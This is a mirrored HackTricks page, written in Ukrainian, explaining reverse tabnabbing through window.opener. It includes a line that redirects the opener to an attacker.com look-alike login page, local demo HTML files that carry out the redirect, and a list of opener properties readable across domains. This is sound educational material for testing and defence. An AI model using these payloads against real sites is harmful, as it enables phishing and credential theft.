mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
116 lines
8.2 KiB
Markdown
116 lines
8.2 KiB
Markdown
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
|
||
# Опис
|
||
|
||
У ситуації, коли **зловмисник** може **контролювати** аргумент **`href`** тегу **`<a`** з атрибутом **`target="_blank" rel="opener"`**, на який натисне жертва, **зловмисник** **направляє** це **посилання** на веб-сайт під своїм контролем ( **шкідливий** **веб-сайт**). Потім, коли **жертва натискає** на посилання і переходить на веб-сайт зловмисника, цей **шкідливий** **веб-сайт** зможе **контролювати** **оригінальну** **сторінку** через об'єкт javascript **`window.opener`**.\
|
||
Якщо сторінка не має **`rel="opener"` але містить `target="_blank"` і також не має `rel="noopener"`**, вона також може бути вразливою.
|
||
|
||
Звичайний спосіб зловживання цією поведінкою полягає в тому, щоб **змінити місцезнаходження оригінального веб-сайту** через `window.opener.location = https://attacker.com/victim.html` на веб-сайт, контрольований зловмисником, який **схожий на оригінальний**, щоб він міг **імітувати** **форму входу** оригінального веб-сайту та запитувати у користувача облікові дані.
|
||
|
||
Однак зверніть увагу, що оскільки **зловмисник тепер може контролювати об'єкт вікна оригінального веб-сайту**, він може зловживати ним іншим чином для виконання **прихованих атак** (можливо, модифікуючи події javascript для витоку інформації на сервер, контрольований ним?)
|
||
|
||
# Огляд
|
||
|
||
## Зворотне посилання
|
||
|
||
Посилання між батьківськими та дочірніми сторінками, коли атрибут запобігання не використовується:
|
||
|
||
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
|
||
|
||
## Без зворотного посилання
|
||
|
||
Посилання між батьківськими та дочірніми сторінками, коли атрибут запобігання використовується:
|
||
|
||
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
|
||
|
||
## Приклади <a href="#examples" id="examples"></a>
|
||
|
||
Створіть наступні сторінки в папці та запустіть веб-сервер за допомогою `python3 -m http.server`\
|
||
Потім **перейдіть** за адресою `http://127.0.0.1:8000/`vulnerable.html, **натисніть** на посилання та зверніть увагу, як **URL** **оригінального** **веб-сайту** **змінюється**.
|
||
|
||
{% code title="vulnerable.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>Victim Site</h1>
|
||
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="malicious.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<script>
|
||
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="malicious_redir.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>New Malicious Site</h1>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% endcode %}
|
||
|
||
## Доступні властивості <a href="#accessible-properties" id="accessible-properties"></a>
|
||
|
||
У сценарії, коли відбувається **крос-доменний** доступ (доступ через різні домени), властивості екземпляра класу **window** JavaScript, на який посилається об'єкт **opener** JavaScript, доступні для зловмисного сайту обмежені наступними:
|
||
|
||
- **`opener.closed`**: Ця властивість використовується для визначення, чи було закрито вікно, повертаючи булеве значення.
|
||
- **`opener.frames`**: Ця властивість надає доступ до всіх елементів iframe у поточному вікні.
|
||
- **`opener.length`**: Кількість елементів iframe, присутніх у поточному вікні, повертається цією властивістю.
|
||
- **`opener.opener`**: Посилання на вікно, яке відкрило поточне вікно, можна отримати через цю властивість.
|
||
- **`opener.parent`**: Ця властивість повертає батьківське вікно поточного вікна.
|
||
- **`opener.self`**: Доступ до самого поточного вікна надається цією властивістю.
|
||
- **`opener.top`**: Ця властивість повертає найвищу вікно браузера.
|
||
|
||
Однак у випадках, коли домени ідентичні, зловмисний сайт отримує доступ до всіх властивостей, які надає [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript об'єкт.
|
||
|
||
# Запобігання
|
||
|
||
Інформація про запобігання задокументована в [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
|
||
|
||
## Посилання
|
||
|
||
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|